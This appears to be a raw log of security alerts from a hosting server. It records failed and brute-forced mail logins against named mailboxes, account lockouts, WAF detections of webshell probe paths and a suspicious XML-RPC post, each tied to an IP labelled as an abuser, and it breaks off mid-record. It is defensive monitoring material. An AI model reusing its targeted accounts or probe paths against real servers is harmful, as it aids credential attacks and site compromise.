Feb  1 09:06:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:06:14 dovecot_login authenticator failed for H=(uIH1WFM3x) [178.16.54.22]:57433: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:07:04 dovecot_login authenticator failed for H=(3eMZwdFbvM) [178.16.54.22]:58354: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:07:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-02-01 09:07:54 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:48719: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 09:08:02 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:33440: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:07:12 dovecot_login authenticator failed for H=(3g8T9h) [146.70.146.50]:62085: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2026-02-01 09:07:58 dovecot_login authenticator failed for H=([211.169.212.206]) [211.169.212.206]:49377: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:07:16 dovecot_login authenticator failed for H=(zBtEtXCSw) [158.94.208.175]:55570: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.94.164.200
country_id: 130758
description:
2026-02-01 09:07:31 dovecot_plain authenticator failed for H=(2056puot0h25zjrlcnbankh6vg) [109.94.164.200]:3920: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.133.117
country_id: 1835841
description:
2026-02-01 09:07:49 dovecot_login authenticator failed for H=([218.146.133.117]) [218.146.133.117]:58125: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.85.202.86
country_id: 1814991
description:
2026-02-01 09:07:50 dovecot_login authenticator failed for H=([222.85.202.86]) [222.85.202.86]:34192: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.45.232
country_id: 294640
description:
2026-02-01 09:07:18 dovecot_plain authenticator failed for H=(tordial) [109.226.45.232]:36927: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-02-01 09:08:05 dovecot_login authenticator failed for H=([27.123.112.126]) [27.123.112.126]:52774: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.1.74
country_id: 6252001
description:
2026-02-01 09:08:13 dovecot_login authenticator failed for H=([70.120.1.74]) [70.120.1.74]:63092: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:08:09 dovecot_login authenticator failed for H=(6cmpdGVbu) [146.70.146.50]:64072: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-01 09:08:45 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:24302: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 09:09:00 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:56508: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:08:12 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58248: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:08:22 dovecot_login authenticator failed for H=(ENgap2Jf) [158.94.208.175]:55083: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-02-01 09:08:25 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:55443: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.106.115
country_id: 1814991
description:
2026-02-01 09:08:31 dovecot_login authenticator failed for H=([111.26.106.114]) [111.26.106.115]:50964: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.139.77
country_id: 3144096
description:
2026-02-01 09:08:50 dovecot_login authenticator failed for H=([188.124.139.77]) [188.124.139.77]:60040: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:08:18 dovecot_login authenticator failed for H=(NuT9GL) [178.16.54.22]:56950: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01  9:09:50 212399 [Warning] Aborted connection 212399 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:09:10 dovecot_login authenticator failed for H=(46T7HR3) [178.16.54.22]:51890: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:09:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.168.165.6
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=334061 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:09:57 dovecot_login authenticator failed for H=(ftyDrrt) [146.70.146.50]:52822: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:09:04 dovecot_login authenticator failed for H=(2MJqlTm) [158.94.208.175]:50301: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-02-01 09:09:22 dovecot_login authenticator failed for H=([101.13.5.30]) [101.13.5.30]:36504: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:09:03 dovecot_login authenticator failed for H=(pMjpEGDLhk) [146.70.146.50]:50223: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.152.34.229
country_id: 1814991
description:
2026-02-01 09:09:11 dovecot_login authenticator failed for H=([124.152.34.229]) [124.152.34.229]:46441: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:10:50 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61782: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:10:13 dovecot_login authenticator failed for H=(469f4wn6) [158.94.208.175]:51098: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:10:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:10:15 dovecot_login authenticator failed for H=(iO3dfTH7Ri) [146.70.146.50]:53617: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:10:19 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57532: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 09:10:44 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:39132: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 09:10:28 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:42742: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:11:04 dovecot_login authenticator failed for H=(IAQovwA) [178.16.54.22]:60768: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:11:04 dovecot_login authenticator failed for H=(bSfRbMC) [158.94.208.175]:56157: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:11:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49523: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:11:18 dovecot_login authenticator failed for H=(xcSGdJrXm6) [146.70.146.50]:56429: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.84.162.177
country_id: 1861060
description:
2026-02-01 09:11:20 dovecot_login authenticator failed for H=177.162.84.34.bc.googleusercontent.com [34.84.162.177]:55814: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.52.114
country_id: 1269750
description:
2026-02-01 09:11:02 dovecot_login authenticator failed for H=([59.145.219.185]) [182.95.52.114]:53060: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:12:12 dovecot_login authenticator failed for H=(EORJrZd) [146.70.146.50]:58754: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:12:27 dovecot_login authenticator failed for H=(PsqpTbpC) [178.16.54.22]:55122: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 09:12:38 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:49786: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:12:41 dovecot_login authenticator failed for H=(TQK3EQRxp) [158.94.208.175]:65102: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 09:12:11 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:40328: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:12:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45410: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:12:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51583: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.64
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=17111514876132 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 09:12:52 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:64674: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:12:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59242: 535 Incorrect authentication data (set_id=testing@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.31.74
country_id: 1522867
description:
2026-02-01 09:14:01 dovecot_plain authenticator failed for H=2.135.31.74.dynamic.telecom.kz (unwirs) [2.135.31.74]:51182: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 09:13:02 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:65408: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:13:06 dovecot_login authenticator failed for H=(uNeXMx) [146.70.146.50]:60729: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:13:14 dovecot_login authenticator failed for H=(03fLz9) [158.94.208.175]:61088: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:13:19 dovecot_login authenticator failed for H=(NfKpjI) [178.16.54.22]:52582: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 09:13:25 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:50758: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.126
country_id: 1668284
description:
2026-02-01 09:14:59 dovecot_login authenticator failed for H=111-70-32-126.emome-ip.hinet.net [111.70.32.126]:36618: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 09:14:05 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:41846: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:14:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:14:12 dovecot_login authenticator failed for H=(mWCKorAB1) [146.70.146.50]:62998: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:14:32 dovecot_login authenticator failed for H=(X9VEF0j5t) [178.16.54.22]:55701: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:14:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41922: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-01 09:14:41 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:43206: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:14:48 dovecot_login authenticator failed for H=(ZeXPYj) [158.94.208.175]:53827: 535 Incorrect authentication data (set_id=suffian)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/news-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.183.102.189
country_id: 6252001
description:
2026-02-01 09:15:41 dovecot_login authenticator failed for H=(syn-075-183-102-189.res.spectrum.com) [75.183.102.189]:51343: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 09:15:44 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:36226: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:15:03 dovecot_login authenticator failed for H=(M5FljYyP) [158.94.208.175]:61970: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 09:15:08 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:36825: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:15:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-02-01 09:15:20 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:49969: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 09:15:28 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:50518: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:15:15 dovecot_login authenticator failed for H=(Y6ZyCRWKtP) [146.70.146.50]:49438: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:15:18 dovecot_login authenticator failed for H=(GOluUm8q) [178.16.54.22]:58837: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.164.93.136
country_id: 6252001
description:
2026-02-01 09:15:25 dovecot_login authenticator failed for H=(syn-024-164-093-136.res.spectrum.com) [24.164.93.136]:54617: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.115.122
country_id: 1814991
description:
2026-02-01 09:15:49 dovecot_login authenticator failed for H=([111.26.115.121]) [111.26.115.122]:50088: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:15:50 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61163: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:16:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51167: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:16:09 dovecot_login authenticator failed for H=(6sOG2b7V4G) [146.70.146.50]:51474: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/druma_photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.251.132
country_id: 1814991
description:
2026-02-01 09:16:33 dovecot_login authenticator failed for H=(132.251.223.60.adsl-pool.sx.cn) [60.223.251.132]:35054: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:16:06 dovecot_login authenticator failed for H=(q1sy9LgycF) [158.94.208.175]:51325: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:16:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33132: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:16:03 dovecot_login authenticator failed for H=(rUHXoLbvn) [178.16.54.22]:56602: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:16:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.10
country_id: 1269750
description:
2026-02-01 09:16:24 dovecot_login authenticator failed for H=(nsg-static-177.160.71.182.airtel.in) [182.95.63.10]:44434: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:17:06 dovecot_login authenticator failed for H=(FKOcSU6EWE) [146.70.146.50]:53375: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 09:17:54 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:42614: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:17:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49747: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:17:23 dovecot_login authenticator failed for H=(PpWrzS) [178.16.54.22]:50469: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:18:00 dovecot_login authenticator failed for H=(FXReuz86Vd) [158.94.208.175]:57999: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:17:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:17:27 dovecot_login authenticator failed for H=(nh4QwNN1) [146.70.146.50]:54044: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 09:17:36 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:57066: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:18:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55894: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:18:30 dovecot_login authenticator failed for H=(zQU7jq3wx) [178.16.54.22]:50341: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 09:18:42 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:43860: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:18:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 09:18:20 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:44382: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:18:07 dovecot_login authenticator failed for H=(cG223JHB) [146.70.146.50]:55494: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.107.6
country_id: 290557
description:
2026-02-01 09:18:10 dovecot_plain authenticator failed for H=(sards) [5.32.107.6]:38239: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 38.196.250.183
country_id: 3469034
domain: rcct.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:17779.rcct.my||ServerName:rcct.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74edc9f03e79139988ec460b7b6999748c1550b3||Title:0x3f4b0f52||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: gagasanteguh.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/gagasanteguhcom/public_html/wp-includes||


plugin: modsec
rule: 77839622
